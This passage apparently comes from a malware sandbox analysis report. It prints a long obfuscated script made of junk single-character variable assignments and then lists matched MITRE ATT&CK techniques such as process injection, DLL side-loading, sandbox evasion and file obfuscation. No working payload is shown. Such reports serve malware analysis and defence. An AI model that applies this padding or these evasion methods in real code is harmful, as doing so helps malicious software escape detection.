487	iwhra = "c";
488	iwhra = "z";
489	iwhra = "x";
490	iwhra = "E";
491	iwhra = "p";
492	iwhra = "u";
493	iwhra = "c";
494	iwhra = "x";
495	iwhra = "T";
496	iwhra = "\\";
497	wxyvjsmv = "Y";
498	wxyvjsmv = "s";
499	wxyvjsmv = "U";
500	wxyvjsmv = "g";
501	wxyvjsmv = "L";
502	wxyvjsmv = "E";
503	wxyvjsmv = "M";
504	wxyvjsmv = "k";
505	wxyvjsmv = "Q";
506	wxyvjsmv = "F";
507	wxyvjsmv = "H";
508	wxyvjsmv = "o";
509	wxyvjsmv = "x";
510	wxyvjsmv = "q";
511	wxyvjsmv = "n";
512	wxyvjsmv = "m";
513	wxyvjsmv = "e";
514	azjecxtup = "F";
515	azjecxtup = "f";
516	azjecxtup = "n";
517	azjecxtup = "t";
518	azjecxtup = "B";
519	azjecxtup = "R";
520	azjecxtup = "p";
521	azjecxtup = "f";
522	azjecxtup = "G";
523	azjecxtup = "Z";
524	azjecxtup = "y";
525	azjecxtup = "q";
526	azjecxtup = "b";
527	azjecxtup = "X";
528	azjecxtup = "U";
529	azjecxtup = "m";
530	azjecxtup = "z";
531	azjecxtup = "z";
532	azjecxtup = "f";
533	azjecxtup = "Q";
534	azjecxtup = "D";
535	azjecxtup = "_";
536	rjszfgost = "i";
537	rjszfgost = "J";
538	rjszfgost = "x";
539	rjszfgost = "z";
540	rjszfgost = "U";
541	rjszfgost = "d";
542	rjszfgost = "n";
543	rjszfgost = "D";
544	rjszfgost = "R";
545	rjszfgost = "M";
546	rjszfgost = "V";
547	rjszfgost = "w";
548	rjszfgost = "t";
549	rjszfgost = "F";
550	rjszfgost = "l";
551	rjszfgost = "z";
552	rjszfgost = "H";
553	rjszfgost = "m";
554	rjszfgost = "D";
555	rjszfgost = "J";
556	rjszfgost = "I";
557	rjszfgost = "W";
558	rjszfgost = "K";
559	rjszfgost = "b";
560	rjszfgost = "e";
561	rjszfgost = "u";
562	rjszfgost = "X";
563	rjszfgost = "F";
564	rjszfgost = "B";
565	rjszfgost = "i";
566	rjszfgost = "w";
567	rjszfgost = "W";
568	rjszfgost = "w";
569	rjszfgost = "h";
570	rjszfgost = "v";
571	rjszfgost = "\"";
572	frpllczcv = "w";
573	frpllczcv = "X";
574	frpllczcv = "e";
575	frpllczcv = "H";
576	frpllczcv = "T";
577	frpllczcv = "h";
578	frpllczcv = "j";
579	frpllczcv = "O";
580	frpllczcv = "v";
581	frpllczcv = "N";
582	frpllczcv = "e";
583	frpllczcv = "/";
584	kfptrrhu = "j";
585	kfptrrhu = "s";
586	kfptrrhu = "l";
587	kfptrrhu = "T";
588	kfptrrhu = "Q";
589	kfptrrhu = "B";
590	kfptrrhu = "1";
591	deynl = "I";
592	deynl = "Q";
593	deynl = "p";
594	deynl = "F";
595	deynl = "G";
596	deynl = "t";
597	deynl = "p";
598	deynl = "L";
599	deynl = "f";
600	deynl = "N";
601	deynl = "u";
602	deynl = "V";
603	deynl = "Z";
604	deynl = "Y";
605	deynl = "G";
606	deynl = "I";
607	afxscosob = "r";
608	afxscosob = "y";
609	afxscosob = "M";
610	afxscosob = "b";
611	afxscosob = "W";
612	afxscosob = "A";
613	afxscosob = "V";
614	afxscosob = "c";
615	afxscosob = "t";
616	afxscosob = "W";
617	afxscosob = "A";
618	afxscosob = "B";
619	afxscosob = "Y";
620	afxscosob = "B";
621	afxscosob = "h";
622	afxscosob = "G";
623	afxscosob = "b";
624	fibfss = "f";
625	fibfss = "h";
626	fibfss = "u";
627	fibfss = "v";
628	fibfss = "K";
629	fibfss = "Y";
630	fibfss = "v";
631	fibfss = "z";
632	fibfss = "x";
633	fibfss = "Y";
634	fibfss = "Z";
635	fibfss = "U";
636	fibfss = "b";
637	fibfss = "e";
638	fibfss = "c";
639	fibfss = "J";
640	fibfss = "u";
641	vabxvyfeg = "I";
642	vabxvyfeg = "x";
643	vabxvyfeg = "G";
644	vabxvyfeg = "L";
645	vabxvyfeg = "R";
646	vabxvyfeg = "c";
647	mupawiyi = "M";
648	mupawiyi = "l";
649	mupawiyi = "P";
650	mupawiyi = "G";
651	mupawiyi = "s";
652	mupawiyi = "X";
653	mupawiyi = "I";
654	mupawiyi = "U";
655	mupawiyi = "p";
656	mupawiyi = "y";
657	mupawiyi = "I";
658	mupawiyi = "c";
659	mupawiyi = "F";
660	vpjxc = "P";
661	vpjxc = "r";
662	vpjxc = "p";
663	vpjxc = "p";
664	vpjxc = "a";
665	vpjxc = "j";
666	vpjxc = "F";
667	vpjxc = "p";
668	vpjxc = "k";
669	vpjxc = "G";
670	vpjxc = "h";
671	vpjxc = "a";
672	vpjxc = "B";
673	vpjxc = "j";
674	vpjxc = "c";
675	vpjxc = "f";
676	vpjxc = "y";
677	vpjxc = "h";
678	vpjxc = "q";
679	dbyqgj = "w";
680	dbyqgj = "j";
681	dbyqgj = "e";
682	dbyqgj = "b";
683	dbyqgj = "D";
684	dbyqgj = "J";
685	dbyqgj = "g";
686	dbyqgj = "h";
687	dbyqgj = "A";
688	dbyqgj = "Q";
689	dbyqgj = "S";
690	dbyqgj = "E";
691	dbyqgj = "d";
692	dbyqgj = "O";
693	dbyqgj = "y";
694	dbyqgj = "W";
695	dbyqgj = "I";
696	dbyqgj = "t";
697	dbyqgj = "s";
698	dbyqgj = "y";
699	dbyqgj = "Y";
700	dbyqgj = "z";
701	dbyqgj = "b";
702	dbyqgj = "Y";
703	dbyqgj = "A";
704	dbyqgj = "w";
705	dbyqgj = "b";
706	dbyqgj = "Y";
707	dbyqgj = "x";
708	dbyqgj = "y";
709	dbyqgj = "l";
710	dbyqgj = "g";
711	dbyqgj = "F";
712	dbyqgj = "R";
713	dbyqgj = "g";
714	dbyqgj = "L";
715	dbyqgj = "z";
716	dbyqgj = "q";
717	dbyqgj = "z";
718	dbyqgj = "W";
719	dbyqgj = "H";
720	uxltfc = "v";
721	uxltfc = "R";
722	uxltfc = "z";
723	uxltfc = "r";
724	uxltfc = "j";
725	uxltfc = "l";
726	uxltfc = "u";
727	uxltfc = "Z";
728	uxltfc = "e";
729	uxltfc = "T";
730	uxltfc = "x";
731	uxltfc = "D";
732	uxltfc = "m";
733	uxltfc = "U";
734	uxltfc = "V";
735	uxltfc = "N";
736	uxltfc = "B";
737	uxltfc = "o";
738	uxltfc = "s";
739	uxltfc = "s";
740	uxltfc = "Q";
741	uxltfc = "u";
742	uxltfc = "j";
743	uxltfc = "y";
744	uxltfc = "v";
745	fjwmfw = "T";
746	fjwmfw = "u";
747	fjwmfw = "u";
748	fjwmfw = "b";
749	fjwmfw = "U";
750	fjwmfw = "W";
751	fjwmfw = "F";
752	fjwmfw = "L";
753	fjwmfw = "U";
754	fjwmfw = "y";
755	fjwmfw = "F";
756	fjwmfw = "L";
757	fjwmfw = "q";
758	fjwmfw = "H";
759	fjwmfw = "B";
760	fjwmfw = "b";
761	fjwmfw = "d";
762	fjwmfw = "a";
763	fjwmfw = "R";
764	fjwmfw = "x";
765	fjwmfw = "x";
766	fjwmfw = "E";
767	fjwmfw = "l";
768	fjwmfw = "e";
769	fjwmfw = "w";
770	fjwmfw = "q";
771	fjwmfw = "R";
772	fjwmfw = "y";
773	fjwmfw = "j";
774	fjwmfw = "C";
775	fjwmfw = "n";
776	fjwmfw = "K";
777	fjwmfw = "t";
778	fjwmfw = "O";
779	fjwmfw = "Y";
780	fjwmfw = "o";
781	fjwmfw = "K";
782	fjwmfw = "x";
783	fjwmfw = "h";
784	wimyde = "D";
785	wimyde = "i";
786	wimyde = "d";
787	wimyde = "L";
788	wimyde = "s";
789	wimyde = "r";
790	wimyde = "H";
791	wimyde = "h";
792	wimyde = "A";
793	wimyde = "J";
794	wimyde = "E";
795	wimyde = "j";
796	wimyde = "I";
797	wimyde = "M";
798	wimyde = "i";
799	wimyde = "G";
800	wimyde = "b";
801	wimyde = "c";
802	wimyde = "Z";
803	wimyde = "f";
804	wimyde = "u";
805	wimyde = "R";
806	wimyde = "8";
807	aqlhwbwh = "j";
808	aqlhwbwh = "t";
809	aqlhwbwh = "I";
810	aqlhwbwh = "d";
811	aqlhwbwh = "E";
812	aqlhwbwh = "f";
813	aqlhwbwh = "L";
814	aqlhwbwh = "g";
815	aqlhwbwh = "O";
816	aqlhwbwh = "R";
817	aqlhwbwh = "A";
818	aqlhwbwh = "U";
819	aqlhwbwh = "K";
820	aqlhwbwh = "M";
821	aqlhwbwh = "P";
822	aqlhwbwh = "Y";
823	aqlhwbwh = "R";
824	aqlhwbwh = "z";
825	aqlhwbwh = "Z";
826	aqlhwbwh = "e";
827	aqlhwbwh = "e";
828	aqlhwbwh = "B";
829	aqlhwbwh = "m";
830	aqlhwbwh = "z";
831	aqlhwbwh = "A";
832	aqlhwbwh = "W";
833	aqlhwbwh = "s";
834	aqlhwbwh = "B";
835	aqlhwbwh = "c";
836	aqlhwbwh = "K";
837	aqlhwbwh = "D";
838	aqlhwbwh = "R";
839	aqlhwbwh = "L";
840	aqlhwbwh = "a";
841	aqlhwbwh = "V";
842	aqlhwbwh = "q";
843	aqlhwbwh = "O";
844	aqlhwbwh = "K";
845	aqlhwbwh = "k";
846	aqlhwbwh = "@";
847	nmcpdoyw = "v";
848	nmcpdoyw = "T";
849	nmcpdoyw = "u";
850	nmcpdoyw = "f";
851	nmcpdoyw = "y";
852	nmcpdoyw = "q";
853	nmcpdoyw = "x";
854	nmcpdoyw = "y";
855	nmcpdoyw = "u";
856	nmcpdoyw = "o";
857	nmcpdoyw = "n";
858	nmcpdoyw = "Q";
859	nmcpdoyw = "X";
860	nmcpdoyw = "J";
861	nmcpdoyw = "K";
862	nmcpdoyw = "o";
863	nmcpdoyw = "J";
864	nmcpdoyw = "B";
865	nmcpdoyw = "f";
866	nmcpdoyw = "C";
867	nflli = "S";
868	nflli = "V";
869	nflli = "P";
870	nflli = "T";
871	nflli = "s";
872	nflli = "m";
873	nflli = "C";
874	nflli = "J";
875	nflli = "v";
876	nflli = "F";
877	nflli = "z";
878	nflli = "Y";
879	nflli = "N";
880	nflli = "%";
881	qxwdym = "G";
882	qxwdym = "g";
883	qxwdym = "v";
884	qxwdym = "b";
885	qxwdym = "F";
886	qxwdym = "z";
887	qxwdym = "O";
888	qxwdym = "c";
889	qxwdym = "w";
890	qxwdym = "U";
891	qxwdym = "s";
892	qxwdym = "k";
893	qxwdym = " ";
894	mkldk = "u";
895	mkldk = "d";
896	mkldk = "V";
897	mkldk = "d";
898	mkldk = "p";
899	mkldk = "W";
900	mkldk = "Z";
901	mkldk = "e";
902	mkldk = "X";
903	mkldk = "v";
904	mkldk = "b";
905	mkldk = "x";
906	mkldk = "H";
907	mkldk = "g";
908	mkldk = "M";
909	mkldk = "c";
910	mkldk = "I";
911	mkldk = "J";
912	mkldk = "m";
913	mkldk = "L";
914	mkldk = "n";
915	mkldk = "a";
916	ywtqfp = "z";
917	ywtqfp = "S";
918	ywtqfp = "g";
919	ywtqfp = "S";
920	ywtqfp = "h";
921	ywtqfp = "N";
922	ywtqfp = "B";
923	ywtqfp = "Y";
924	ywtqfp = "b";
925	ywtqfp = "H";
926	ywtqfp = "U";
927	ywtqfp = "I";
928	ywtqfp = "n";
929	ywtqfp = "D";
930	ywtqfp = "G";
931	ywtqfp = "i";
932	ywtqfp = "b";
933	ywtqfp = "w";
934	ywtqfp = "a";
935	ywtqfp = "o";
936	ywtqfp = "J";
937	ywtqfp = "R";
938	ywtqfp = "c";
939	ywtqfp = "P";
940	ywtqfp = "b";
941	ywtqfp = "c";
942	ywtqfp = "o";
943	ywtqfp = "g";
944	ywtqfp = "I";
945	ywtqfp = "f";
946	ywtqfp = "T";
947	ywtqfp = "f";
948	wobhnlvfz = "j";
949	wobhnlvfz = "N";
950	wobhnlvfz = "N";
951	wobhnlvfz = "b";
952	wobhnlvfz = "L";
953	wobhnlvfz = "C";
954	wobhnlvfz = "H";
955	wobhnlvfz = "D";
956	wobhnlvfz = "B";
957	wobhnlvfz = "i";
958	wobhnlvfz = "t";
959	wobhnlvfz = "O";
960	wobhnlvfz = "V";
961	wobhnlvfz = "h";
962	wobhnlvfz = "W";
963	wobhnlvfz = "l";
964	wobhnlvfz = "k";
965	wobhnlvfz = "a";
966	wobhnlvfz = "v";
967	wobhnlvfz = "C";
968	wobhnlvfz = "K";
969	wobhnlvfz = "X";
970	wobhnlvfz = "n";
971	wobhnlvfz = "f";
972	wobhnlvfz = "z";
973	wobhnlvfz = "H";
974	wobhnlvfz = "F";
975	wobhnlvfz = "y";
976	wobhnlvfz = "O";
977	wobhnlvfz = "U";
978	lizuzhif = "L";
979	lizuzhif = "Z";
980	lizuzhif = "s";
981	lizuzhif = "n";
982	lizuzhif = "Y";
983	lizuzhif = "Z";
984	lizuzhif = "y";
985	lizuzhif = "w";
986	lizuzhif = "C";
987	lizuzhif = "t";
988	lizuzhif = "P";
989	lizuzhif = "X";
990	lizuzhif = "E";
991	lizuzhif = "o";
992	lizuzhif = "T";
993	lizuzhif = "G";
994	lizuzhif = "e";
995	lizuzhif = "P";
996	lizuzhif = "L";
997	dsviavc = "n";
998	dsviavc = "R";
999	dsviavc = "p";
1000	dsviavc = "p";
1001	dsviavc = "h";
1002	dsviavc = "R";
1003	dsviavc = "S";
1004	dsviavc = "K";
1005	dsviavc = "j";
1006	dsviavc = "X";
1007	dsviavc = "B";
1008	dsviavc = "b";
1009	dsviavc = "G";
1010	dsviavc = "q";
1011	dsviavc = "z";
1012	dsviavc = "G";
1013	dsviavc = "V";
1014	dsviavc = "f";
1015	dsviavc = "j";
1016	dsviavc = "E";
1017	dsviavc = "r";
1018	dsviavc = "R";
1019	dsviavc = "o";
1020	dsviavc = "j";
1021	dsviavc = "j";
1022	dsviavc = "B";
1023	dsviavc = "j";
1024	dsviavc = "B";
1025	dsviavc = "Y";
1026	dsviavc = "y";
1027	dsviavc = "K";
1028	dsviavc = "p";
1029	dsviavc = "Z";
1030	dsviavc = "a";
1031	dsviavc = "Q";
1032	dsviavc = "A";
1033	dsviavc = "m";
1034	dsviavc = "T";
1035	dsviavc = "d";
1036	dsviavc = "y";
1037	dsviavc = "V";
1038	dsviavc = "n";
1039	ipjtl = "w";
1040	ipjtl = "a";
1041	ipjtl = "P";
1042	ipjtl = "F";
1043	ipjtl = "x";
1044	ipjtl = "b";
1045	ipjtl = "x";
1046	ipjtl = "f";
1047	ipjtl = "F";
1048	ipjtl = "h";
1049	ipjtl = "U";
1050	ipjtl = "r";
1051	ipjtl = "9";
1052	yklur = "2";
1053	nlijlgb = "y";
1054	nlijlgb = "E";
1055	nlijlgb = "Q";
1056	nlijlgb = "c";
1057	nlijlgb = "M";
1058	nlijlgb = "U";
1059	nlijlgb = "l";
1060	nlijlgb = "M";
1061	nlijlgb = "A";
1062	nlijlgb = "j";
1063	nlijlgb = "l";
1064	nlijlgb = "m";
1065	nlijlgb = "z";
1066	nlijlgb = "s";
1067	nlijlgb = "y";
1068	nlijlgb = "g";
1069	nlijlgb = "E";
1070	nlijlgb = "Y";
1071	nlijlgb = "M";
1072	nlijlgb = "a";
1073	nlijlgb = "a";
1074	nlijlgb = "L";
1075	nlijlgb = "v";
1076	nlijlgb = "T";
1077	nlijlgb = "B";
1078	nlijlgb = "l";
1079	nlijlgb = "Z";
1080	nlijlgb = "P";
1081	niupkuuz = "P";
1082	niupkuuz = "c";
1083	niupkuuz = "y";
1084	niupkuuz = "v";
1085	niupkuuz = "q";
1086	niupkuuz = "g";
1087	niupkuuz = "3";
1088	ghqrhlbvr = "L";
1089	ghqrhlbvr = "v";
1090	ghqrhlbvr = "Z";
1091	ghqrhlbvr = "w";
1092	ghqrhlbvr = "L";
1093	ghqrhlbvr = "a";
1094	ghqrhlbvr = "i";
1095	ghqrhlbvr = "z";
1096	ghqrhlbvr = "K";
1097	ghqrhlbvr = "O";
1098	ghqrhlbvr = "b";
1099	ghqrhlbvr = "d";
1100	ghqrhlbvr = "M";
1101	ghqrhlbvr = "O";
1102	ghqrhlbvr = "V";
1103	ghqrhlbvr = "K";
1104	ghqrhlbvr = "d";
1105	ghqrhlbvr = "t";
1106	ghqrhlbvr = "r";
1107	ghqrhlbvr = "e";
1108	ghqrhlbvr = "Z";
1109	ghqrhlbvr = "F";
1110	ghqrhlbvr = "q";
1111	ghqrhlbvr = "M";
1112	ghqrhlbvr = "f";
1113	ghqrhlbvr = "g";
1114	ghqrhlbvr = "i";
1115	ghqrhlbvr = "X";
1116	ghqrhlbvr = "T";
1117	ghqrhlbvr = "u";
1118	ghqrhlbvr = "x";
1119	ghqrhlbvr = "K";
1120	ghqrhlbvr = "L";
1121	ghqrhlbvr = "S";
1122	ghqrhlbvr = "I";
1123	ghqrhlbvr = "d";
1124	ghqrhlbvr = "u";
1125	ghqrhlbvr = "x";
1126	uaafyx = "u";
1127	uaafyx = "z";
1128	uaafyx = "v";
1129	uaafyx = "P";
1130	uaafyx = "z";
1131	uaafyx = "V";
1132	uaafyx = "Y";
1133	uaafyx = "O";
1134	uaafyx = "t";
1135	uaafyx = "D";
1136	uaafyx = "m";
1137	uaafyx = "Y";
1138	uaafyx = "J";
1139	uaafyx = "v";
1140	uaafyx = "I";
1141	uaafyx = "J";
1142	uaafyx = "R";
1143	uaafyx = "H";
1144	uaafyx = "G";
1145	uaafyx = "R";
1146	uaafyx = "C";
1147	uaafyx = "W";
1148	uaafyx = "r";
1149	uaafyx = "c";
1150	uaafyx = "U";
1151	uaafyx = "s";
1152	uaafyx = "Q";
1153	uaafyx = "s";
1154	uaafyx = "m";
1155	uaafyx = "Z";
1156	uaafyx = "z";
1157	uaafyx = "g";
1158	uaafyx = "O";
1159	uaafyx = "F";
1160	uaafyx = "s";
1161	uaafyx = "W";
1162	uaafyx = "A";
1163	uaafyx = "E";
1164	uaafyx = "d";
1165	uaafyx = "P";
1166	uaafyx = "f";
1167	uaafyx = "c";
1168	uaafyx = "b";
1169	uaafyx = "d";
1170	uaafyx = "4";
1171	eeocluoq = "Q";
1172	eeocluoq = "D";
1173	eeocluoq = "T";
1174	eeocluoq = "k";
1175	eeocluoq = "g";
1176	eeocluoq = "l";
1177	eeocluoq = "L";
1178	eeocluoq = "m";
1179	eeocluoq = "H";
1180	eeocluoq = "A";
1181	eeocluoq = "x";
1182	eeocluoq = "m";
1183	eeocluoq = "L";
1184	eeocluoq = "V";
1185	eeocluoq = "E";
1186	eeocluoq = "L";
1187	eeocluoq = "d";
1188	eeocluoq = "x";
1189	eeocluoq = "w";
1190	eeocluoq = "e";
1191	eeocluoq = "Q";
1192	eeocluoq = "i";
1193	eeocluoq = "G";
1194	eeocluoq = "C";
1195	eeocluoq = "M";
1196	eeocluoq = "s";
1197	eeocluoq = "r";
1198	eeocluoq = "C";
1199	eeocluoq = "a";
1200	eeocluoq = "R";
1201	eeocluoq = "N";
1202	eeocluoq = "L";
1203	eeocluoq = "m";
1204	eeocluoq = "s";
1205	ybcrr = "m";
1206	ybcrr = "a";
1207	ybcrr = "J";
1208	ybcrr = "L";
1209	ybcrr = "i";
1210	ybcrr = "n";
1211	ybcrr = "E";
1212	kgglrpri = "l";
1213	kgglrpri = "D";
1214	kgglrpri = "N";
1215	kgglrpri = "Z";
1216	kgglrpri = "E";
1217	kgglrpri = "v";
1218	kgglrpri = "i";
1219	kgglrpri = "m";
1220	kgglrpri = "G";
1221	kgglrpri = "Q";
1222	kgglrpri = "h";
1223	kgglrpri = "d";
1224	kgglrpri = "O";
1225	kgglrpri = "o";
1226	kgglrpri = ".";
1227	ugwnbc = "I";
1228	ugwnbc = "k";
1229	ugwnbc = "F";
1230	ugwnbc = "a";
1231	ugwnbc = "w";
1232	ugwnbc = "h";
1233	ugwnbc = "B";
1234	ugwnbc = "h";
1235	ugwnbc = "g";
1236	ugwnbc = "H";
1237	ugwnbc = "G";
1238	ugwnbc = "t";
1239	ugwnbc = "l";
1240	ugwnbc = "u";
1241	ugwnbc = "W";
1242	ugwnbc = "y";
1243	ugwnbc = "S";
1244	ejvyt = "i";
1245	ejvyt = "r";
1246	ejvyt = "K";
1247	ejvyt = "b";
1248	ejvyt = "z";
1249	ejvyt = "q";
1250	ejvyt = "N";
1251	ejvyt = "o";
1252	ejvyt = "j";
1253	ejvyt = "s";
1254	ejvyt = "A";
1255	ejvyt = "w";
1256	ejvyt = "a";
1257	ejvyt = "w";
1258	ejvyt = "T";
1259	ejvyt = "q";
1260	ejvyt = "i";
1261	ejvyt = "q";
1262	ejvyt = "k";
1263	ejvyt = "u";
1264	ejvyt = "w";
1265	ejvyt = "e";
1266	ejvyt = "t";
1267	ejvyt = "j";
1268	ejvyt = "D";
1269	ejvyt = "d";
1270	ejvyt = "O";
1271	ejvyt = "t";
1272	ejvyt = "W";
1273	ejvyt = "m";
1274	ejvyt = "b";
1275	ejvyt = "j";
1276	ejvyt = "V";
1277	ejvyt = "y";
1278	ejvyt = "f";
1279	ejvyt = "T";
1280	ejvyt = "j";
1281	ejvyt = "b";
1282	ejvyt = "K";
1283	ejvyt = "y";
1284	ejvyt = "Y";
1285	ejvyt = "d";
1286	ejvyt = "W";
1287	wqoxgkmce = "R";
1288	wqoxgkmce = "g";
1289	jrenve = "Q";
1290	jrenve = "P";
1291	jrenve = "i";
1292	jrenve = "t";
1293	jrenve = "E";
1294	jrenve = "F";
1295	jrenve = "D";
1296	jrenve = "h";
1297	jrenve = "J";
1298	jrenve = "u";
1299	jrenve = "Q";
1300	quynyz = "j";
1301	quynyz = "k";
1302	quynyz = "N";
1303	quynyz = "S";
1304	quynyz = "E";
1305	quynyz = "P";
1306	quynyz = "I";
1307	quynyz = "l";
1308	quynyz = "a";
1309	quynyz = "h";
1310	quynyz = "k";
1311	xfmudlws = "A";
1312	xfmudlws = "i";
1313	xfmudlws = "f";
1314	xfmudlws = "n";
1315	xfmudlws = "G";
1316	xfmudlws = "g";
1317	xfmudlws = "b";
1318	xfmudlws = "M";
1319	xfmudlws = "o";
1320	xfmudlws = "c";
1321	xfmudlws = "A";
1322	xfmudlws = "X";
1323	xfmudlws = "Y";
1324	xfmudlws = "f";
1325	xfmudlws = "K";
1326	xfmudlws = "B";
1327	xfmudlws = "c";
1328	xfmudlws = "f";
1329	xfmudlws = "d";
1330	xfmudlws = "y";
1331	xfmudlws = "p";
1332	xfmudlws = "C";
1333	xfmudlws = "O";
1334	xfmudlws = "V";
1335	xfmudlws = "E";
1336	xfmudlws = "0";
1337	lhxduh = "K";
1338	lhxduh = "M";
1339	lhxduh = "x";
1340	lhxduh = "g";
1341	lhxduh = "T";
1342	mkzyl = "R";
1343	mkzyl = "u";
1344	mkzyl = "A";
1345	mkzyl = "s";
1346	mkzyl = "W";
1347	mkzyl = "m";
1348	mkzyl = "o";
1349	mkzyl = "g";
1350	mkzyl = "u";
1351	mkzyl = "K";
1352	mkzyl = "X";
1353	mkzyl = "g";
1354	mkzyl = "u";
1355	mkzyl = "n";
1356	mkzyl = "c";
1357	mkzyl = "u";
1358	mkzyl = "H";
1359	mkzyl = "W";
1360	mkzyl = "n";
1361	mkzyl = "S";
1362	mkzyl = "X";
1363	mkzyl = "q";
1364	mkzyl = "L";
1365	mkzyl = "H";
1366	mkzyl = "X";
1367	mkzyl = "N";
1368	mkzyl = "v";
1369	mkzyl = "O";
1370	mkzyl = "J";
1371	mkzyl = "p";
1372	stdmxlmye ( );	stdmxlmye() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
